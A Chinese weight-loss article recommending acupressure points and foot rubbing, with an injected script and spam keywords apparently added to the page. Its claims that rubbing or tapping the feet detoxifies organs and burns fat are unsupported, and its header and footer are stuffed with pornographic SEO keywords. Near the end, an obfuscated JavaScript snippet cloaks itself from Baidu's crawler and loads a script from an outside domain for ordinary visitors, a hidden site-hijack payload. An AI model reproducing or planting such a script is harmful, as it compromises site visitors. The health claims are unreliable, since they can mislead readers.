久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 中醫減肥 > 正文

按摩那個穴位減肥呢

2017-04-26 14:27:10  來源:360常識網   熱度:
導語:減肥是肥胖者一直努力的,然而減肥方法不對,減肥效果就會極差,嚴重的反而出現體重增加,因此患者要重視減肥的方式,使用健康且正常的減肥

減肥是肥胖者一直努力的,然而減肥方法不對,減肥效果就會極差,嚴重的反而出現體重增加,因此患者要重視減肥的方式,使用健康且正常的減肥方法,比如運動減肥,然而運動是很多人不愿意參加的,因此則對其它的減肥方式更熱衷,患者可使用按摩穴位的減肥方式,那么按摩那個穴位減肥呢?

一、旋揉肚臍周圍減肥法

一手四指并攏,利用四指指腹稍微用力壓,沿著肚臍周邊左右各揉10下。

除了按摩,平時還應適當做運動,比如散步,可以根據自己的需要,選擇慢速、中速或者快速。散步可以平和氣血、舒活筋骨,為減肥打下長久的基礎。

二、按摩足三里減肥法

足三里穴位于膝蓋外側下方一橫指處,按摩足三里,可以防治多種疾病,起到調節機體免疫力、增強抗病能力、調理脾胃、補中益氣、疏風化濕、通經活絡等作用。用指腹反復按揉此穴100次。

三、壓三穴減肥法

(1)中脘穴:位于胸窩口與肚臍的中間位置,揉壓此穴能夠提高胃部免疫力。

(2)氣海穴:從肚臍往下一個橫指的位置,按壓此穴能夠對精神紊亂、憂郁有很好的幫助。

(3)關元穴:從肚臍往下三橫指的位置。按壓此穴能夠緩解腹涼等寒體癥。

四、按摩三陰交減肥法

三陰交位于內腳踝向上三橫指寬的位置。常揉此穴對肝、脾、腎有保健作用。

2分鐘按摩腳部輕松減肥

敲擊腳底:

晚上睡覺前用拳頭敲擊腳底,可以消除一天的疲勞,促進全身血液循環。促進內臟排毒,加快脂肪燃燒。

腳底按摩:

讓雙腳合攏起來相互摩擦,使血液循環通暢,待腳步感到溫暖,便可以在短時間內加強體內排毒燃脂功效。方麗是仰臥在床上或地板上,抬起雙腳用力相互摩擦,如果雙手同時進行摩擦效果更好。

按摩那個穴位減肥呢?文章中介紹的這些穴位都可以減肥,只要堅持每天按摩也能達到減肥的目的,患者在按摩穴位時會遇到很多問題,最重要的且關鍵的就是穴位,按摩時容易出現穴位不正確,力度達不到等,這樣減肥的功效就會下降,患者減肥前要先找準穴位,再練習按摩的手法,這樣才能更好的減肥,其效果也會更佳。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 九九在线视频 | 视频一区在线观看 | 国产高清精品在线 | 亚洲日本国产 | 天堂一区二区三区 | 久久精品欧美 | 精品一区久久 | 在线欧美色 | 9999国产精品| 亚洲免费观看视频 | 欧美一区精品 | 女人色偷偷aa久久天堂 | 久久久久国产一级毛片高清版小说 | 黄网站免费在线观看 | a性视频 | 国产痴汉av久久精品 | 久久久久久亚洲精品视频 | 国产乱码精品一区二区三区忘忧草 | 国产乱老熟视频网88av | 成人网电影| 国产精品视频看看 | 最新国产在线视频 | 亚洲欧美在线一区二区 | 黄免费看 | 精品国产乱码久久久久久1区二区 | 成人a在线视频免费观看 | 人人干人人干人人 | 97久久超碰国产精品电影 | 午夜a级片 | 羞羞视频网 | 亚洲成a人v欧美综合天堂麻豆 | 精品免费视频一区二区 | 91中文字幕在线观看 | 在线精品亚洲欧美日韩国产 | 国产精品片aa在线观看 | 久久久噜噜噜久久久 | 精品在线一区二区三区 | 中文字幕在线观看资源 | 99久久婷婷国产综合精品 | 亚洲欧美一区二区精品中文字幕 | 国产无套一区二区三区久久 |